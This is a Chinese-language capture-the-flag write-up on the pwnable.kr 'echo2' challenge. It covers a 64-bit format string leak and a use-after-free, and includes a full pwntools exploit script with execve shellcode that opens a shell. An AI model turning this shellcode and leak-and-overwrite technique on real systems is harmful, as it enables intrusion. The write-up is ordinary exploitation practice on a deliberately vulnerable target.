当前位置: 代码迷 >> 综合 >> pwnable(echo2)【64位格式化字符串uaf】
  详细解决方案

pwnable(echo2)【64位格式化字符串uaf】

热度:86   发布时间:2023-12-13 04:47:58.0

和echo1差不多都没开启任何保护,有一个格式化字符串漏洞
在这里插入图片描述
64位格式化字符串和32位有些不同64位寄存器是靠寄存器来传参的(说白了格式化字符串就是打印参数的值,或者向参数位置指向的地址处写入数据)
64位寄存器传参的顺序: rdi, rsi, rdx, rcx, r8, r9

在这里插入图片描述
这是执行printf时候的状态。
这个是输出的数据

0x1cd605f,0x7f81ace85790,0x70252c70252c7025,0x1cd605f,0x7f81ad083700,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0xa2c70252c702

打印出来的数据顺序好像并不是前面的寄存器但是后面的是栈地址是不错的ennnn(这里不知道什么原因感谢大佬留言)
64位用%n打印地址的话好像不太容易(我又可耻的查了一下wp)。
其实还有一个uaf漏洞

from pwn import *
context.log_level="debug"
local=1
if local:p=process("./echo2")
else:p=remote("pwnable.kr",9011)
elf=ELF("./echo2")p.recvuntil("hey, what's your name? : ")
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil("> ")
p.sendline("2")payload="%10$p"+"A"*3
p.sendline(payload)
p.recvuntil("0x")
shellcode_addr=int(p.recvuntil('AAA',drop=True),16)-0x20p.recvuntil("> ")
p.sendline("4")
p.recvuntil("to exit? (y/n)")
p.sendline("n")p.recvuntil("> ")
p.sendline("3")
p.recvuntil("hello \n")
gdb.attach(p)
p.sendline("A"*24+p64(shellcode_addr))
p.interactive()

但是遇到了2个问题。
原本我是想直接执行bss段的shellcode(vmmap可以看到bss段是可执行的)但是遇到了问题。
疑问1:
bss段里面并没有完整的shellcode(只有4个字节)
在这里插入图片描述
给id赋值的v7定义为int64
在这里插入图片描述
id被定义为8字节
在这里插入图片描述
这样来说不可能是赋值4个字节(至少也是8个字节)。

疑问2:
实际上
在这里插入图片描述
这里的o+4是不能被执行的,获取shellcode执行了o+3,但是不知道什么原因scanf和getchar不接受键盘输入的参数了(然后进行下面判断的是上次输入的3)
在这里插入图片描述
所以我这个想法不行的原因是id = v7;这里的赋值只会复制4个字节,并不能复制数组
感谢留言